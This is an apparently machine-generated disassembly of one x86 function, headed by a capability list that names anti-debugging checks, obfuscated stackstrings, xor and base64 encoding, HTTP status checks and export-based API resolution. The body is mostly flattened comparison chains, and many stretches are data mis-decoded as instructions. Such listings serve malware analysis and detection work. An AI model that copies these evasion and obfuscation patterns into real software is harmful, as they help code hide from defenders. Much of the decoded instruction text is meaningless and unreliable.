Function at 0x6882a7c7
Capabilities:
Authenticate hmac
Check for software breakpoints
Check http status code
Contain obfuscated stackstrings
Encode data using base64
Encode data using xor
Parse pe header
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push ebx
sub esp, 0x1b4
cmp dword [ebp + 0xc], 3
je 0x6888fb33
cmp dword [ebp + 0xc], 3
ja 0x688a0e42
cmp dword [ebp + 0xc], 2
je 0x68885cfb
cmp dword [ebp + 0xc], 2
ja 0x688a0e42
cmp dword [ebp + 0xc], 0
je 0x68898ee8
cmp dword [ebp + 0xc], 1
jne 0x688a0e42
mov dword [ebp - 0x40], 0x564f3
mov dword [ebp - 0x3c], 0
mov dword [ebp - 0x48], 0x50eb0
mov dword [ebp - 0x44], 0
mov eax, dword [ebp - 0x40]
mov edx, dword [ebp - 0x3c]
sub eax, dword [ebp - 0x48]
sbb edx, dword [ebp - 0x44]
mov dword [ebp - 0x50], eax
mov dword [ebp - 0x4c], edx
mov eax, dword [ebp - 0x50]
xor eax, 0xf2a28
or eax, dword [ebp - 0x4c]
je 0x68837103
mov edx, 0xf2a28
mov eax, 0
cmp edx, dword [ebp - 0x50]
sbb eax, dword [ebp - 0x4c]
jl 0x6883a4e0
mov eax, dword [ebp - 0x50]
xor eax, 0xd65da
or eax, dword [ebp - 0x4c]
je 0x68839a83
mov edx, 0xd65da
mov eax, 0
cmp edx, dword [ebp - 0x50]
sbb eax, dword [ebp - 0x4c]
jl 0x6883a4e0
mov eax, dword [ebp - 0x50]
xor eax, 0xc9f7f
or eax, dword [ebp - 0x4c]
je 0x68837b63
mov edx, 0xc9f7f
mov eax, 0
cmp edx, dword [ebp - 0x50]
sbb eax, dword [ebp - 0x4c]
jl 0x6883a4e0
mov eax, dword [ebp - 0x50]
xor eax, 0xc1a74
or eax, dword [ebp - 0x4c]
je 0x68830943
mov edx, 0xc1a74
mov eax, 0
cmp edx, dword [ebp - 0x50]
sbb eax, dword [ebp - 0x4c]
jl 0x6883a4e0
mov eax, dword [ebp - 0x50]
xor eax, 0xb4537
or eax, dword [ebp - 0x4c]
je 0x6882c0a3
mov edx, 0xb4537
mov eax, 0
cmp edx, dword [ebp - 0x50]
sbb eax, dword [ebp - 0x4c]
jl 0x6883a4e0
mov eax, dword [ebp - 0x50]
xor eax, 0xa9766
or eax, dword [ebp - 0x4c]
je 0x688313a3
mov edx, 0xa9766
mov eax, 0
cmp edx, dword [ebp - 0x50]
sbb eax, dword [ebp - 0x4c]
jl 0x6883a4e0
mov eax, dword [ebp - 0x50]
xor eax, 0xa8e2d
or eax, dword [ebp - 0x4c]
je 0x68831e03
mov edx, 0xa8e2d
mov eax, 0
cmp edx, dword [ebp - 0x50]
sbb eax, dword [ebp - 0x4c]
jl 0x6883a4e0
mov eax, dword [ebp - 0x50]
xor eax, 0xa330d
or eax, dword [ebp - 0x4c]
je 0x6882fee3
mov edx, 0xa330d
mov eax, 0
cmp edx, dword [ebp - 0x50]
sbb eax, dword [ebp - 0x4c]
jl 0x6883a4e0
mov eax, dword [ebp - 0x50]
xor eax, 0x94bb1
or eax, dword [ebp - 0x4c]
je 0x6882ea23
mov edx, 0x94bb1
mov eax, 0
cmp edx, dword [ebp - 0x50]
sbb eax, dword [ebp - 0x4c]
jl 0x6883a4e0
mov eax, dword [ebp - 0x50]
xor eax, 0x9363c
or eax, dword [ebp - 0x4c]
je 0x68839023
mov edx, 0x9363c
mov eax, 0
cmp edx, dword [ebp - 0x50]
sbb eax, dword [ebp - 0x4c]
jl 0x6883a4e0
mov eax, dword [ebp - 0x50]
xor eax, 0x8a305
or eax, dword [ebp - 0x4c]
je 0x68833d23
mov edx, 0x8a305
mov eax, 0
cmp edx, dword [ebp - 0x50]
sbb eax, dword [ebp - 0x4c]
jl 0x6883a4e0
mov eax, dword [ebp - 0x50]
xor eax, 0x77be0
or eax, dword [ebp - 0x4c]
je 0x68832863
mov edx, 0x77be0
mov eax, 0
cmp edx, dword [ebp - 0x50]
sbb eax, dword [ebp - 0x4c]
jl 0x6883a4e0
mov eax, dword [ebp - 0x50]
xor eax, 0x6da19
or eax, dword [ebp - 0x4c]
je 0x68834783
mov edx, 0x6da19
mov eax, 0
cmp edx, dword [ebp - 0x50]
sbb eax, dword [ebp - 0x4c]
jl 0x6883a4e0
mov eax, dword [ebp - 0x50]
xor eax, 0x6b434
or eax, dword [ebp - 0x4c]
je 0x688366a3
mov edx, 0x6b434
mov eax, 0
cmp edx, dword [ebp - 0x50]
sbb eax, dword [ebp - 0x4c]
jl 0x6883a4e0
mov eax, dword [ebp - 0x50]
xor eax, 0x60baf
or eax, dword [ebp - 0x4c]
je 0x688385c3
mov edx, 0x60baf
mov eax, 0
cmp edx, dword [ebp - 0x50]
sbb eax, dword [ebp - 0x4c]
jl 0x6883a4e0
mov eax, dword [ebp - 0x50]
xor eax, 0x574f9
or eax, dword [ebp - 0x4c]
je 0x688351e3
mov edx, 0x574f9
mov eax, 0
cmp edx, dword [ebp - 0x50]
sbb eax, dword [ebp - 0x4c]
jl 0x6883a4e0
mov eax, dword [ebp - 0x50]
xor eax, 0x5462e
or eax, dword [ebp - 0x4c]
je 0x6882d563
mov edx, 0x5462e
mov eax, 0
cmp edx, dword [ebp - 0x50]
sbb eax, dword [ebp - 0x4c]
jl 0x6883a4e0
mov eax, dword [ebp - 0x50]
xor eax, 0x40432
or eax, dword [ebp - 0x4c]
je 0x688332c3
mov edx, 0x40432
mov eax, 0
cmp edx, dword [ebp - 0x50]
sbb eax, dword [ebp - 0x4c]
jl 0x6883a4e0
mov eax, dword [ebp - 0x50]
xor eax, 0x3a251
or eax, dword [ebp - 0x4c]
je 0x6882abe3
mov edx, 0x3a251
mov eax, 0
cmp edx, dword [ebp - 0x50]
sbb eax, dword [ebp - 0x4c]
jl 0x6883a4e0
mov eax, dword [ebp - 0x50]
xor eax, 0x3492c
or eax, dword [ebp - 0x4c]
je 0x6882dfc3
mov edx, 0x3492c
mov eax, 0
cmp edx, dword [ebp - 0x50]
sbb eax, dword [ebp - 0x4c]
jl 0x6883a4e0
mov eax, dword [ebp - 0x50]
xor eax, 0x22ece
or eax, dword [ebp - 0x4c]
je 0x68835c43
mov edx, 0x22ece
mov eax, 0
cmp edx, dword [ebp - 0x50]
sbb eax, dword [ebp - 0x4c]
jl 0x6883a4e0
mov eax, dword [ebp - 0x50]
xor eax, 0x1d409
or eax, dword [ebp - 0x4c]
je 0x6882cb03
mov edx, 0x1d409
mov eax, 0
cmp edx, dword [ebp - 0x50]
sbb eax, dword [ebp - 0x4c]
jl 0x6883a4e0
mov eax, dword [ebp - 0x50]
xor eax, 0x13edb
or eax, dword [ebp - 0x4c]
je 0x6882f483
mov edx, 0x13edb
mov eax, 0
cmp edx, dword [ebp - 0x50]
sbb eax, dword [ebp - 0x4c]
jl 0x6883a4e0
add byte [ebx], bh
push ebp
mov al, 0x1b
inc ebp
mov ah, 0xf
mov word [ecx + edi*8], fs
add byte [eax], al
mov eax, dword [ebp - 0x50]
xor eax, 0x5643
or eax, dword [ebp - 0x4c]
je 0x6883a4e3
mov eax, dword [ebp - 0x50]
xor eax, 0xf1f3
or eax, dword [ebp - 0x4c]
je 0x6882b643
jmp 0x6883a4e0
salc
sti
jecxz 0x6882abaf
enter 0x54c7, 0xffffffffffffffb9
jg 0x6882ac08
div byte [edi - 0x5651a1ee]
neg byte [ecx + 0x249fbfa2]
invalid
inc ecx
sbb eax, 0xf927f8a6
push esp
outsd dx, dword ss:[esi]
int3
das
push ss
loope 0x6882b6a6
js 0x6882b696
pop esi
fist word [edi + edx - 0x7d75bec6]
jbe 0x6882b67b
and bh, byte [eax + 0xb8ec899]
outsb dx, byte [esi]
pop edx
jnp 0x6882b6b6
cli
lodsd eax, dword [esi]
popal
xor dl, byte [esi]
mov dl, byte [esi + 0x1416883c]
outsb dx, byte [esi]
invalid
int 0xd4
xor byte [ecx + 0x60992983], bl
mov esi, fs
xchg byte [edi + 0x14a1e420], dl
mov eax, dword [0x53bd7814]
js 0x6882b64a
push ebx
jle 0x6882b68b
invalid
xchg ebp, eax
push esp
add cl, 0xd6
push edi
arpl word [ebx], si
inc ebp
sti
invalid
fimul word [edi - 0x74]
mov cl, 0x3e
xlatb
test dword [ebx + edx*8 + 0x10152e4b], ebx
push ecx
push edx
adc byte [ecx + 0x52], dl
lahf
js 0x6882b6f9
sub ecx, dword [ebx + 0x5e476545]
pop edi
jg 0x6882b6b2
dec edx
inc ecx
or al, 0x55
mov bl, 0xfd
aas
ja 0x6882b707
pop edx
inc esi
jbe 0x6882b689
adc al, 0xbc
add al, byte [edi + ecx + 0x6d]
sbb esi, dword [bx + si - 0x2a05]
push esi
inc ecx
jg 0x6882b72b
sar dword [esi - 0x4b], 1
mov eax, 0xb0a3e14c
clc
mov ebp, 0x8af1a7d1
ret 0x42a0
invalid
cli
enter 0xfffffffffffffc44, 0xffffffffffffff91
mov ch, 0x61
leave
arpl word [ecx + 0x6fbc8479], bp
and bl, byte [ebx + 0x6602049d]
adc ah, byte [esi - 0xa]
fimul word [edx + ebp*4 + 0x3bda193d]
sbb al, 0x6e
xlatb
popfd
pop ebx
adc ecx, dword [edi + 0x7b]
je 0x6882b79b
dec edi
jnp 0x6882b7a2
insb byte es:[edi], dx
jg 0x6882b789
ljmp 0xbb0b:0x8cf5cc90
cmpsb byte [esi], byte es:[edi]
sbb eax, 0xbf3f8199
mov edi, 0x2c8363d5
push ebp
enter 0x5a10, 0xffffffffffffffaa
arpl word [ebx + 0x10c8552c], ax
pop edx
stosb byte es:[edi], al
aaa
mov esp, 0x4e62e4cd
adc byte [esi + esi], 0xb4
test al, 0x83
into
lcall 0x9a59, 0x7a6138f9
xchg edx, eax
mov edx, 0x5155f54c
jp 0x6882b7fd
lcall 0x55f5, 0x4cba3692
push ecx
invalid
pushfd
jge 0x6882b781
push eax
test byte [edi + 0x466f3d4a], ch
push ebx
frstor dword [ebp - 0x34]
lodsd eax, dword [esi]
salc
add ecx, dword [ebx - 0x3b]
xchg esp, eax
div byte [esi]
invalid
or bh, dl
sahf
fdivr dword [0x140f8f0c]
pop eax
out 0x62, al
loopne 0x6882c0dc
cmp esi, dword [edi]
push edx
popfd
inc ebx
popal
sub dl, byte [edi + ebx - 0x534bd408]
xchg edi, eax
mov eax, dword [0x7d96064c]
retf
in al, 0x27
dec edi
sbb cl, byte [esi + 0x24934286]
and dword [ebx + 0x7f], 0xdb6ba87b
add eax, 0xf50c088c
test dl, ch
mov ds, word [edx - 0x3095deb]
lodsb al, byte [esi]
je 0x6882c0ba
stosb byte es:[edi], al
or dword [eax], esp
jo 0x6882c05c
sbb eax, edi
and al, 0xf9
aaa
dec edi
retf
invalid
pop es
iretd
sbb dword [edx], 0xffffffd2
sub edx, ebx
salc
rcl esi, cl
mov esp, dword [ecx + 0x55]
and al, byte [edi]
je 0x6882d5c0
sub al, 0xd6
retf
rcr byte [edi], 1
test al, 0x76
out dx, eax
push es
and byte [ebp + 0x7f], bh
inc ebp
jg 0x6882d60f
xchg esi, eax
sub dl, byte [ebp + 0x218a43d1]
call 0x8d9fccdc
push esi
sbb byte [ebx], dl
cli
loope 0x6882d613
pop ebx
xchg edi, eax
and al, 0xce
movsd dword es:[edi], dword [esi]
push ebx
xchg ecx, eax
je 0x6882d567
mov bl, byte [edx + 8]
dec ecx
dec esi
jg 0x6882d5c8
idiv byte [esi - 0x33]
dec edx
mov al, 0x62
aaa
mov ebp, 0x88e73869
cwde
sbb byte [ecx], 0xd7
xchg ebx, eax
int1
mov ecx, 0x72b7e7cb
push ss
sub byte [esi + 0x5ae3d3ba], cl
invalid
cmp al, 0xef
jmp 0x6882d61c
or dh, bl
adc dword [ecx], esi
mov cl, 0x9f
sub ecx, edi
dec ecx
mov ds, edi
cdq
sub edx, dword [esi + edx*8]
out 0x1f, al
invalid
or eax, 0xe1894d0b
dec ebp
hlt
std
xchg ebp, eax
xchg ebx, eax
mov ebp, 0x84939abd
sbb cl, byte [eax - 0x59fe2362]
sbb byte [edi + 0x417adc1d], cl
out dx, eax
push ss
rol dl, cl
std
lds eax, [edx + 5]
invalid
invalid
leave
test byte [esi - 0x52], 0x11
cmp al, 0x9d
xchg ebp, edi
push 0x89ef680e
jmp 0x6882fef6
or al, 0x66
imul ebp, dword cs:[eax + 0xa194408], 0x1356d8d2
inc esp
dec edx
nop
int3
ja 0x6882fe75
add ecx, dword [eax + 0x40]
dec bx
lds ebx, [esi]
inc edi
cmp edi, dword [ecx - 0x4d875186]
jle 0x6882fecd
stc
adc ch, byte es:[edi + esi*8 + 0x55c873fb]
mov ah, 0xcb
add eax, 0x252f62dc
dec edi
push esp
out 0x9c, al
invalid
cmp edi, ecx
in al, 0x11
lodsb al, byte [esi]
cmp eax, 0x445bf8a4
aam 0x86
add ch, byte [edi]
cli
xchg edi, eax
aas
and ah, al
mov edx, dword [ecx + edx*4 + 0x627d632a]
mov byte [edx + 0x790c9aaf], dl
dec ebp
xchg edi, eax
iretd
or dword [eax - 0x180c1703], eax
dec esp
sbb al, 0xa0
nop
int3
je 0x68831393
mov ebp, 0xa32962d3
fisub word [esi]
add eax, 0x510fbe06
sub ebx, dword [eax]
mov gs, word [edi + eax*2 + 0x2a]
pop es
add dh, cl
invalid
jbe 0x68831dc9
imul edi, dword [edi + 0x314f3268], 0xffffffe8
les esp, [edi + 0x4b925ef3]
fidivr dword [eax + 0x5a]
retf 0xeadb
jne 0x68831d4f
xchg dword [ebp + 0xf6665bd], edi
hlt
jg 0x68831d5e
fcomp qword [ecx - 0x1c171719]
dec eax
cli
pop eax
xor byte [eax], ch
add eax, 0x30bbf536
lds esp, [eax + ebx]
cmp al, 0x9b
dec edx
adc byte [eax - 0x71], al
fsub st(6), st(0)
sahf
dec ebx
ret
or dword [0x3579042c], edi
rcr dword [ecx - 0x41], cl
xchg dword [edx - 0x34], esi
lodsb al, byte [esi]
or al, 0xf0
cmc
fisttp qword [esi + 0x5934f22b]
xor edx, dword [ebp - 0x6d]
or byte [ebp + 0x24], 0xa4
jno 0x68831e6b
cmp dl, ch
and dh, al
enter 0x5f79, 0x18
sahf
pushal
jo 0x68831e8c
inc edi
jbe 0x68831dbb
invalid
invalid
pop es
int 0x76
add dword [ecx + 0x6d8bd396], eax
jne 0x68831e34
int3
add dword [edx - 0x36], edi
xchg esi, eax
imul eax, dword [ebx + 0x1f10561c], 0x7f1598c1
mov al, 0xc7
and ah, bh
push ds
inc esi
wait
xchg esi, eax
xchg dword [ebx], ebp
jl 0x68831ebc
and byte [eax + 0x68ee4aa3], cl
invalid
das
pop esp
int 0xfa
cli
sar byte [eax + edx*4 - 0x4bc4f521], 0x4e
invalid
jecxz 0x688328d9
dec edx
cwde
invalid
sbb ah, byte [esi + 0x7eedf7c4]
call 0x7c7de680
push es
test eax, 0xe3cbaca0
inc eax
pushfd
mov ebp, 0xa90613fa
mov al, byte [0x40e3cbac]
pop esi
sahf
xchg edi, eax
inc eax
mov ah, 0xe8
jnp 0x688328e0
test al, 0xf6
stosd dword es:[edi], eax
in al, dx
mov byte [0x751f5f32], al
inc edx
fstp xword [eax - 0x3cf9b85e]
fcomi st(7)
invalid
xchg eax, ebx
pop edx
invalid
xlatb
pop esp
jp 0x68833cff
add bl, byte [edi - 0x5d]
hlt
ret 0xd8f3
push ebp
xchg edi, eax
movsb byte es:[edi], byte [esi]
pop ebx
xor al, 0xdf
fidivr dword [eax - 0x3db4ece2]
xor bh, cl
sub eax, 0xc737159b
cli
jns 0x68833cb0
test al, 0xd4
ljmp 0x4112
or eax, 0xb78aaead
cmp dl, bl
lodsd eax, dword [esi]
scasb al, byte es:[edi]
mov dh, byte [edi - 0x7e882cc6]
ja 0x68833c82
call 0x513784d0
cmp al, 0xbc
jae 0x68833d5b
xchg esp, eax
add al, 0x7f
jecxz 0x68833cd3
jmp 0x76c237ef
add dword [ebp + ecx*4 - 0x2851c6a1], edx
lea ebx, [edx]
adc al, 0x40
jle 0x68833cf8
jecxz 0x68833d3a
pop edi
fadd qword [edx - 0x591b09de]
in al, 0xa6
and esi, dword [eax]
mov dh, 0xdb
mov dh, 0xdb
lodsd eax, dword [esi]
invalid
push ds
shl dword [eax], cl
clc
xlatb
inc ebx
adc eax, 0xab9420cc
loop 0x68833d61
inc edx
mov edx, 0xda32682d
mov eax, dword [ecx - 0x4f]
jg 0x68833cf9
mov esp, 0x12a2b73d
dec edi
jbe 0x68833da2
adc eax, 0xcb6d80a0
jno 0x68833d38
jns 0x68833d3d
mov esp, es
add ah, bh
iretd
retf
stosb byte es:[edi], al
retf 0x5fc5
invalid
daa
jge 0x68835c97
adc ecx, dword [edi + esi*8]
pop es
lodsb al, byte [esi]
fmul st(3)
sub byte [ebp + edx + 0x7a4970e3], ah
adc al, dh
sets byte [eax]
ret
and dword [ecx + esi*8], esp
aaa
xchg esp, eax
out dx, al
ljmp 0x21b3
adc dword [edx - 0x32d4d7c4], edx
jg 0x68835c6b
cld
retf
imul byte [ecx]
inc eax
sub eax, 0x439fa27
invalid
mov edi, 0x56591446
mov ebx, 0x844444dd
push esp
pop esi
sub ch, byte [edi]
inc edi
invalid
ljmp 0x3626:0x5c46d61a
or dword [edx], 0x60c82d5c
sahf
test eax, 0xd54b8b50
aas
lcall 0xc14d, 0xdcaaa960
sbb esi, dword [esi + 0x3757e955]
pushfd
aam 0xd4
jne 0x68838648
dec esp
cmp dword [eax + 0x337c2697], eax
int3
ret
xchg ecx, eax
cmc
out 0xfb, eax
invalid
sbb eax, 0xa6e2867
sub byte [ecx - 0x3f0964ca], 0x57
lodsb al, byte [esi]
pop es
cmc
push ebx
push edi
pop esp
rcr byte es:[edi - 0x10], cl
dec esp
invalid
ror byte [0xdf447367], 0xd1
push edx
xchg edi, eax
sbb dword [ecx - 0x53], eax
xchg ebx, eax
cwde
jns 0x68839a22
mov ecx, 0x366c8d12
fsub qword [0x72985cc2]
sahf
cdq
mov dl, ah
xlatb
and byte [esp + ebp*8 + 0x4e], ah
invalid
nop
jmp 0x6883a4e4
nop
call fcn.684f7996
mov dword [ebp - 0x58], 0x66059
mov dword [ebp - 0x54], 0
mov dword [ebp - 0x60], 0x72458
mov dword [ebp - 0x5c], 0
mov eax, dword [ebp - 0x60]
mov edx, dword [ebp - 0x5c]
sub eax, dword [ebp - 0x58]
sbb edx, dword [ebp - 0x54]
mov dword [ebp - 0x68], eax
mov dword [ebp - 0x64], edx
mov eax, dword [ebp - 0x68]
xor eax, 0xbe251
or eax, dword [ebp - 0x64]
je 0x6883a6c4
mov edx, 0xbe251
mov eax, 0
cmp edx, dword [ebp - 0x68]
sbb eax, dword [ebp - 0x64]
jl 0x688418e1
mov eax, dword [ebp - 0x68]
xor eax, 0xbcef0
or eax, dword [ebp - 0x64]
je 0x6883e504
mov edx, 0xbcef0
mov eax, 0
cmp edx, dword [ebp - 0x68]
sbb eax, dword [ebp - 0x64]
jl 0x688418e1
mov eax, dword [ebp - 0x68]
xor eax, 0x90402
or eax, dword [ebp - 0x64]
je 0x6883b124
mov edx, 0x90402
mov eax, 0
cmp edx, dword [ebp - 0x68]
sbb eax, dword [ebp - 0x64]
jl 0x688418e1
mov eax, dword [ebp - 0x68]
xor eax, 0x87ff0
or eax, dword [ebp - 0x64]
je 0x6883ef64
mov edx, 0x87ff0
mov eax, 0
cmp edx, dword [ebp - 0x68]
sbb eax, dword [ebp - 0x64]
jl 0x688418e1
mov eax, dword [ebp - 0x68]
xor eax, 0x519ea
or eax, dword [ebp - 0x64]
je 0x6883bb84
mov edx, 0x519ea
mov eax, 0
cmp edx, dword [ebp - 0x68]
sbb eax, dword [ebp - 0x64]
jl 0x688418e1
mov eax, dword [ebp - 0x68]
xor eax, 0x34ea0
or eax, dword [ebp - 0x64]
je 0x68840e84
mov edx, 0x34ea0
mov eax, 0
cmp edx, dword [ebp - 0x68]
sbb eax, dword [ebp - 0x64]
jl 0x688418e1
mov eax, dword [ebp - 0x68]
xor eax, 0x1b580
or eax, dword [ebp - 0x64]
je 0x6883d044
mov edx, 0x1b580
mov eax, 0
cmp edx, dword [ebp - 0x68]
sbb eax, dword [ebp - 0x64]
jl 0x688418e1
mov eax, dword [ebp - 0x68]
xor eax, 0x16a34
or eax, dword [ebp - 0x64]
je 0x6883daa4
mov edx, 0x16a34
mov eax, 0
cmp edx, dword [ebp - 0x68]
sbb eax, dword [ebp - 0x64]
jl 0x688418e1
mov eax, dword [ebp - 0x68]
xor eax, 0xc3ff
or eax, dword [ebp - 0x64]
je 0x688418e4
mov edx, 0xc3ff
mov eax, 0
cmp edx, dword [ebp - 0x68]
sbb eax, dword [ebp - 0x64]
jl 0x688418e1
mov eax, dword [ebp - 0x68]
xor eax, 0x71ee
or eax, dword [ebp - 0x64]
je 0x6883c5e4
mov edx, 0x71ee
mov eax, 0
cmp edx, dword [ebp - 0x68]
sbb eax, dword [ebp - 0x64]
jl 0x688418e1
mov eax, dword [ebp - 0x68]
xor eax, 0x6c8
or eax, dword [ebp - 0x64]
je 0x68840424
mov eax, dword [ebp - 0x68]
xor eax, 0x65b7
or eax, dword [ebp - 0x64]
je 0x6883f9c4
jmp 0x688418e1
out 0x24, al
lds esp, [0x978c61d2]
or ch, cl
pop esp
xor ecx, dword [eax]
or dword [edx], edx
salc
lodsd eax, dword [esi]
and dl, bl
inc esp
invalid
add edi, ebp
push 0xffffffffffffffd8
add dh, byte [eax]
and byte [ebp + 0x11f54c84], bl
add al, dl
cwde
hlt
add bh, dl
push 0xffffffffffffffd2
sbb al, 0xe3
invalid
xchg edx, eax
xchg ebp, eax
xchg esi, ebx
out 0x90, al
int3
mov byte [ecx + edx - 0x57753430], bl
jne 0x6883bbd4
ror bl, 1
mov ch, byte [eax + 0x325f4775]
pop es
pop edi
xor al, byte [edi]
add al, 0xed
jp 0x6883bb37
cmp dh, 0x18
adc eax, 0xbe87b0f
xor bl, byte [edx + edx*4 + 0x48]
xor al, 0xdb
adc bl, byte [edx + 0x35]
xchg ecx, eax
jnp 0x6883bb87
mov ecx, 0x9f68d087
xor ah, dl
jmp 0xf7a5673d
push edi
jmp 0x6883bb77
popfd
loopne 0x6883bbb6
and dh, byte [ebp - 0x2521a0a4]
xchg ecx, eax
imul ebx, ebp, 0x77cbeebb
aaa
dec esp
bound eax, qword [ebx]
mov esi, ecx
test byte [esi + 0x49], cl
aas
fidiv word [edx - 0x6cbcb061]
rcl byte [ebp + 0x10]
clc
cmpsd dword [esi], dword es:[edi]
daa
in eax, 0x46
and al, 9
xlatb
push esp
mov cl, 0x4d
pop edi
xchg ebx, eax
daa
cmp ch, bl
inc ebx
sbb dword [eax - 0x77], eax
aaa
leave
mov dl, 0x20
xor al, 0x99
xor ebx, esi
mov eax, eax
test al, 0xc8
ret 0x8509
pop edx
nop
int3
sub eax, 0x2d83fbf1
jge 0x6883c5dc
mov byte [0x7f4c52d0], al
fadd dword [ebx + edx*2 - 0x47a13fa6]
cmp ecx, esp
xchg edi, eax
dec esp
ljmp 0x3eaf
arpl word [edx - 9], ax
inc esp
sub eax, 0x4ae6394f
inc ebp
sbb eax, 0x70ba5a8e
popal
add byte [esi + 0x7f], 0xc2
mov dl, 0x3d
xor eax, 0x26c77fe4
mov edi, 0xee64bbb5
dec esp
in eax, dx
ret 0xea34
sub eax, 0xfd1147ec
push ebp
sbb byte [edi + ecx*8 - 0x7b5ba111], al
sbb edi, esi
fisub word [eax + 0x5aa23842]
and ebx, dword [esi - 0x4c]
push edx
push es
lodsd eax, dword [esi]
scasd eax, dword es:[edi]
sbb byte [edx], 0xac
or ecx, ebx
mov ecx, 0x1d21d83
pushfd
loope 0x6883d08b
jb 0x6883cfc0
hlt
mov word [esi], gs
std
cli
pop ecx
jg 0x6883d027
sub al, byte ss:[ebp - 6]
jecxz 0x6883cffb
and dl, ch
in eax, dx
push ss
add eax, 0x7a12449d
mov edx, 0x8dd49e1b
sub edx, dword [ecx - 0x21d60928]
xchg edi, eax
retf
jmp 0x6883d0a4
or al, dh
xchg ebp, eax
jbe 0x6883d0b3
scasd eax, dword es:[edi]
adc dword [eax], edx
dec edi
pop ss
mov esi, esp
push edi
aam 0xdf
retf
cli
invalid
push ss
invalid
mov al, 0x94
int 0xf
sub al, 0xe9
inc esp
mov ah, 0x41
mov dl, pe_nt_image_headers32
test ch, bh
inc ecx
pop ebp
in eax, dx
rcr byte [0x5634fe05], 0xf7
ret
mov byte [ecx], 0x4c
cmp esi, dword [edi - 0x3a]
or al, 0x27
mov ah, 0xa1
mov eax, 0xce5d2d00
mov dl, 0xe4
xchg esi, eax
xor eax, 0x47473aa5
mov edx, 0xf3361959
cmp esi, dword [eax + 0x1b82fdce]
pop edi
movsb byte es:[edi], byte [esi]
or byte [eax - 0x49], bl
popfd
ret 0x8037
push eax
call 0xc7a74334
pop ds
push es
int 0xa3
pop eax
adc byte [ebx], dl
pop es
add eax, 0xede165c
inc ebx
jbe 0x688404b9
retf
xchg edx, eax
wait
mov esi, 0x1abbc7b0
push es
mov edx, 0xf1fafc5b
xor byte [ebp + ebx*8 - 0x39], bh
out dx, al
mov dword [0xe98ada42], eax
in eax, dx
test eax, 0x87c4b16f
ret
push esp
invalid
sbb dword [eax + 0x5c9b8f72], ebp
mov eax, dword [0xbecdc7e]
xchg esp, eax
sub ebx, dword [esi - 0x5b22cdd8]
adc dh, byte [eax - 0x2143efcc]
push cs
sub eax, 0xcc90a51e
jmp 0x688418e5
mov ecx, 0x2e8822c2
out dx, eax
jno 0x68840eb8
mov dword [eax], edi
jl 0x68840ec9
cmp byte [ecx + edi + 0x30], bh
inc ebp
jnp 0x68840e24
xor byte [ebp + 0x7b], al
nop
stosb byte es:[edi], al
fcmovnb st(0), st(7)
pop edx
sbb byte [eax - 0x6db6e287], dh
mov dword [0x4db15e47], 0xab958484
test dword [ecx + ebp], esi
cmp dword [ecx], edi
jmp 0x68840e61
jmp 0xcd182f69
jb 0x68840e8d
mov dword [0x762f683a], eax
out dx, al
pop ebx
in eax, dx
add dword [ebp - 0x6f439634], esp
retf
nop
jmp 0x688418e5
nop
mov dword [ebp - 0x162], 0x78186315
mov dword [ebp - 0x15e], 0x731c7308
mov dword [ebp - 0x15a], 0x630b6f02
mov dword [ebp - 0x156], 0x7354785e
mov dword [ebp - 0x152], 0x6f0b7356
mov dword [ebp - 0x14e], 0x7808631f
mov word [ebp - 0x14a], 0
mov dword [ebp - 0x70], 0x9efd7
mov dword [ebp - 0x6c], 0
mov dword [ebp - 0x78], 0x75561
mov dword [ebp - 0x74], 0
mov eax, dword [ebp - 0x6c]
imul eax, dword [ebp - 0x78]
mov edx, eax
mov eax, dword [ebp - 0x74]
imul eax, dword [ebp - 0x70]
lea ecx, [edx + eax]
mov eax, dword [ebp - 0x70]
mul dword [ebp - 0x78]
add ecx, edx
mov edx, ecx
mov dword [ebp - 0x80], eax
mov dword [ebp - 0x7c], edx
mov dword [ebp - 0x80], eax
mov dword [ebp - 0x7c], edx
mov eax, dword [ebp - 0x80]
xor eax, 0xdf474377
mov edx, dword [ebp - 0x7c]
xor edx, 0x48
or eax, edx
je 0x6884e174
mov edx, 0xdf474377
mov eax, 0x48
cmp edx, dword [ebp - 0x80]
sbb eax, dword [ebp - 0x7c]
jl 0x6884e177
mov eax, dword [ebp - 0x80]
xor eax, 0xf4113
or eax, dword [ebp - 0x7c]
je 0x68845037
mov edx, 0xf4113
mov eax, 0
cmp edx, dword [ebp - 0x80]
sbb eax, dword [ebp - 0x7c]
jl 0x6884e177
mov eax, dword [ebp - 0x80]
xor eax, 0xf0d2c
or eax, dword [ebp - 0x7c]
je 0x68848417
mov edx, 0xf0d2c
mov eax, 0
cmp edx, dword [ebp - 0x80]
sbb eax, dword [ebp - 0x7c]
jl 0x6884e177
mov eax, dword [ebp - 0x80]
xor eax, 0xf067a
or eax, dword [ebp - 0x7c]
je 0x688498d7
mov edx, 0xf067a
mov eax, 0
cmp edx, dword [ebp - 0x80]
sbb eax, dword [ebp - 0x7c]
jl 0x6884e177
mov eax, dword [ebp - 0x80]
xor eax, 0xef076
or eax, dword [ebp - 0x7c]
je 0x68841c57
mov edx, 0xef076
mov eax, 0
cmp edx, dword [ebp - 0x80]
sbb eax, dword [ebp - 0x7c]
jl 0x6884e177
mov eax, dword [ebp - 0x80]
xor eax, 0xee37b
or eax, dword [ebp - 0x7c]
je 0x6884d717
mov edx, 0xee37b
mov eax, 0
cmp edx, dword [ebp - 0x80]
sbb eax, dword [ebp - 0x7c]
jl 0x6884e177
mov eax, dword [ebp - 0x80]
xor eax, 0xe4186
or eax, dword [ebp - 0x7c]
je 0x688445d7
mov edx, 0xe4186
mov eax, 0
cmp edx, dword [ebp - 0x80]
sbb eax, dword [ebp - 0x7c]
jl 0x6884e177
mov eax, dword [ebp - 0x80]
xor eax, 0xd14a7
or eax, dword [ebp - 0x7c]
je 0x6884c257
mov edx, 0xd14a7
mov eax, 0
cmp edx, dword [ebp - 0x80]
sbb eax, dword [ebp - 0x7c]
jl 0x6884e177
mov eax, dword [ebp - 0x80]
xor eax, 0xb8b41
or eax, dword [ebp - 0x7c]
je 0x68843b77
mov edx, 0xb8b41
mov eax, 0
cmp edx, dword [ebp - 0x80]
sbb eax, dword [ebp - 0x7c]
jl 0x6884e177
mov eax, dword [ebp - 0x80]
xor eax, 0x9ffb8
or eax, dword [ebp - 0x7c]
je 0x688426b7
mov edx, 0x9ffb8
mov eax, 0
cmp edx, dword [ebp - 0x80]
sbb eax, dword [ebp - 0x7c]
jl 0x6884e177
mov eax, dword [ebp - 0x80]
xor eax, 0x73bdc
or eax, dword [ebp - 0x7c]
je 0x68843117
mov edx, 0x73bdc
mov eax, 0
cmp edx, dword [ebp - 0x80]
sbb eax, dword [ebp - 0x7c]
